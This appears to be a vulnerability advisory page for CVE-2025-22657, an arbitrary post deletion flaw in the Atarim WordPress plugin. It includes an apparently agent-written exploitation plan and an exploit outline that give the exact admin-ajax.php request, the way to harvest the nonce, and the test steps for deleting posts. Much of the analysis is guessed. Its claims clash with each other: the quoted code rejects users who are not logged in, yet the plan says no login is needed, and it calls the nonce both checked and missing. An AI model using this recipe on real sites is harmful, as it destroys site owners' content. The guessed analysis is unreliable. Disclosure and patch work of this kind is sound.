Atarim <= 4.0.9 - Missing Authorization to Unauthenticated Arbitrary Post Deletion
Description
The Atarim – Visual Feedback, Review & AI Collaboration plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 4.0.9. This makes it possible for unauthenticated attackers to delete arbitrary posts.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=4.0.9What Changed in the Fix
Changes introduced in v4.1.0
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-22657 ## 1. Vulnerability Summary The **Atarim – Visual Feedback, Review & AI Collaboration** plugin (versions <= 4.0.9) is vulnerable to **Missing Authorization**, allowing unauthenticated attackers to delete arbitrary WordPress posts. The vulnerability exis…
Show full research plan
Exploitation Research Plan - CVE-2025-22657
1. Vulnerability Summary
The Atarim – Visual Feedback, Review & AI Collaboration plugin (versions <= 4.0.9) is vulnerable to Missing Authorization, allowing unauthenticated attackers to delete arbitrary WordPress posts. The vulnerability exists because the AJAX handler responsible for post/task deletion fails to perform a capability check (e.g., current_user_can( 'delete_posts' )) and is registered for unauthenticated users via the wp_ajax_nopriv_ hook. While a nonce check may be present, the nonce is exposed to unauthenticated visitors when "Guest Mode" or general frontend collaboration features are active.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wpfeedback_delete_post - HTTP Method:
POST - Payload Parameters:
action:wpfeedback_delete_postpost_id: The ID of the post, page, or media item to delete.nonce: A valid WordPress nonce for thewpf_security_nonceaction.
- Authentication: Unauthenticated (via
wp_ajax_nopriv_registration). - Preconditions: The plugin must be active. "Guest Mode" or frontend script enqueuing must be active (typical for Atarim's visual feedback functionality).
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwith the actionwpfeedback_delete_post. - Hook Registration: The plugin registers the action (likely in
inc/wpf_ajax_functions.phporwpfeedback.php):add_action( 'wp_ajax_nopriv_wpfeedback_delete_post', 'wpfeedback_delete_post_ajax' ); - Nonce Verification: The function
wpfeedback_delete_post_ajax()is called. It likely invokeswpf_security_check()or a directcheck_ajax_referer( 'wpf_security_nonce', 'nonce' ). - Vulnerable Sink: After the nonce check, the function retrieves
$_POST['post_id']and calls:wp_delete_post( $_POST['post_id'], true ); // Or false to move to trash - Missing Authorization: There is no check to verify if the current user has the authority to delete the post identified by
post_id.
4. Nonce Acquisition Strategy
The Atarim plugin localizes security nonces for its frontend visual editor.
- Script Handle:
wpf-script(or similar). - JS Variable:
wpf_ajax_obj(inferred frominc/wpf_ajax_functions.phpusage). - Nonce Key:
nonce. - Extraction Method:
- Create a public post to ensure frontend scripts are loaded.
- Navigate to the homepage or any public post.
- Execute JavaScript to extract the nonce:
window.wpf_ajax_obj?.nonce.
5. Exploitation Strategy
- Identify Target Post: Determine the ID of a post to delete (e.g., ID 1 for the default "Hello world!" post).
- Obtain Nonce:
- Use
browser_navigateto visit the site's frontend. - Use
browser_evalto grabwpf_ajax_obj.nonce.
- Use
- Execute Deletion:
- Use
http_requestto send the malicious payload toadmin-ajax.php.
- Use
- Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=wpfeedback_delete_post&nonce=[EXTRACTED_NONCE]&post_id=[TARGET_POST_ID]
- URL:
6. Test Data Setup
- Create Victim Post:
Note the resulting ID (e.g., 123).wp post create --post_type=post --post_title="Victim Post" --post_status=publish - Configure Plugin: Ensure the plugin is active. No special configuration is usually required as Atarim typically enqueues its scripts on the frontend for visual feedback.
- Create Nonce Page: If the nonce variable is not present on the homepage, create a page with a potential shortcode:
wp post create --post_type=page --post_status=publish --post_content='[wpf_collaboration]'
7. Expected Results
- Response: The server should return a successful status (likely
200 OK) and a response body indicating success (or just0/1if standard WordPress AJAX response). - Effect: The post with the specified
post_idwill be permanently deleted (or trashed).
8. Verification Steps
- Check Database via WP-CLI:
Expected result: No output or an error indicating the post does not exist.wp post exists [ID] - Verify Post Type Irrelevance: Try deleting a Page or an Attachment using the same method to confirm "arbitrary" post deletion.
9. Alternative Approaches
- Different Nonce Names: If
wpf_ajax_obj.nonceis not found, search the HTML source for any string matching[a-f0-9]{10}inside script tags or variables likewpf_ajax_functions_vars. - Trash vs. Delete: If the post is not permanently deleted, check the trash:
wp post list --post_status=trash - Other Actions: If
wpfeedback_delete_postis not the exact action, check for similar actions ininc/wpf_ajax_functions.phpsuch aswpfeedback_remove_taskorwpf_delete_post.
Summary
The Atarim plugin for WordPress (versions <= 4.0.9) contains a vulnerability that allows unauthenticated attackers to delete arbitrary posts. This is due to a missing authorization check and a lack of nonce verification in the plugin's AJAX handlers when 'Guest Mode' is enabled.
Vulnerable Code
// inc/wpf_ajax_functions.php (approx line 2517) function wpfeedback_delete_post_ajax() { global $current_user; $selected_roles = get_site_data_by_key( 'wpf_selcted_role' ); $selected_roles = explode( ',', $selected_roles ); if ( ! is_user_logged_in() || ( is_user_logged_in() && ! array_intersect( $current_user->roles, $selected_roles ) ) ) { echo '403'; exit; } // ... (truncated) ... if ( isset( $_POST['post_id'] ) ) { wp_delete_post( $_POST['post_id'], true ); } } // --- // Registered handlers (inferred from research plan) add_action( 'wp_ajax_wpfeedback_delete_post', 'wpfeedback_delete_post_ajax' ); add_action( 'wp_ajax_nopriv_wpfeedback_delete_post', 'wpfeedback_delete_post_ajax' );
Security Fix
@@ -2,7 +2,7 @@ /* * Plugin Name: Atarim: Visual Website Collaboration, Feedback & Workflow Management * Description: Atarim Visual Collaboration makes it easy and efficient to collaborate on websites with your clients, internal team, contractors…anyone! It’s used by nearly 10,000 agencies and freelancers worldwide on over 120,000 websites. - * Version: 4.0.9 + * Version: 4.1.0 * Requires at least: 5.0 * Require PHP: 7.4 * Author: Atarim @@ -29,7 +29,7 @@ define( 'WPF_PLUGIN_URL', plugin_dir_url( __FILE__ ) ); } if ( ! defined( 'WPF_VERSION' ) ) { - define( 'WPF_VERSION', '4.0.9' ); + define( 'WPF_VERSION', '4.1.0' ); } define( 'SCOPER_ALL_UPLOADS_EDITABLE ', true ); @@ -358,7 +358,8 @@ array_push( $options, ['name' => 'wpfeedback_color', 'value' => '002157'] ); array_push( $options, ['name' => 'wpf_selcted_role', 'value' => 'administrator'] ); array_push( $options, ['name' => 'wpf_website_developer', 'value' => get_current_user_id()] ); - array_push( $options, ['name' => 'wpf_allow_guest', 'value' => 'yes'] ); + array_push( $options, ['name' => 'wpf_allow_guest', 'value' => 'no'] ); + array_push( $options, ['name' => 'wpf_allow_backend_commenting', 'value' => 'no'] ); array_push( $options, ['name' => 'wpf_every_new_task', 'value' => 'yes'] ); array_push( $options, ['name' => 'wpf_every_new_comment', 'value' => 'yes'] ); array_push( $options, ['name' => 'wpf_every_new_complete', 'value' => 'yes'] ); @@ -2517,7 +2517,7 @@ global $current_user; $selected_roles = get_site_data_by_key( 'wpf_selcted_role' ); $selected_roles = explode( ',', $selected_roles ); - if ( ! is_user_logged_in() || ( is_user_logged_in() && ! array_intersect( $current_user->roles, $selected_roles ) ) ) { + if ( ! wpf_validate_nonce() || ! is_user_logged_in() || ( is_user_logged_in() && ! array_intersect( $current_user->roles, $selected_roles ) ) ) { echo '403'; exit; } @@ -2543,7 +2543,7 @@ global $current_user; $selected_roles = get_site_data_by_key( 'wpf_selcted_role' ); $selected_roles = explode( ',', $selected_roles ); - if ( ! is_user_logged_in() || ( is_user_logged_in() && ! array_intersect( $current_user->roles, $selected_roles ) ) ) { + if ( ! wpf_validate_nonce() || ! is_user_logged_in() || ( is_user_logged_in() && ! array_intersect( $current_user->roles, $selected_roles ) ) ) { echo '403'; exit; }
Exploit Outline
The exploit involves exploiting the unauthenticated access granted by 'Guest Mode' and a lack of capability checks in AJAX handlers. 1. **Identify Target**: Determine the ID of the post, page, or media attachment to be deleted. 2. **Obtain Nonce**: Access the frontend of the target WordPress site. The plugin enqueues a security nonce (typically `wpf_security_nonce`) in a global JavaScript object (e.g., `wpf_ajax_obj.nonce`) for use by the visual collaboration scripts. Extract this nonce. 3. **Send Request**: Perform an unauthenticated POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `wpfeedback_delete_post` (or other identified vulnerable deletion actions). - `nonce`: The extracted nonce value. - `post_id`: The ID of the target post. 4. **Outcome**: The server, failing to verify if the requester has the 'delete_posts' capability, will execute `wp_delete_post()` on the specified ID, resulting in the permanent deletion or trashing of the content.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.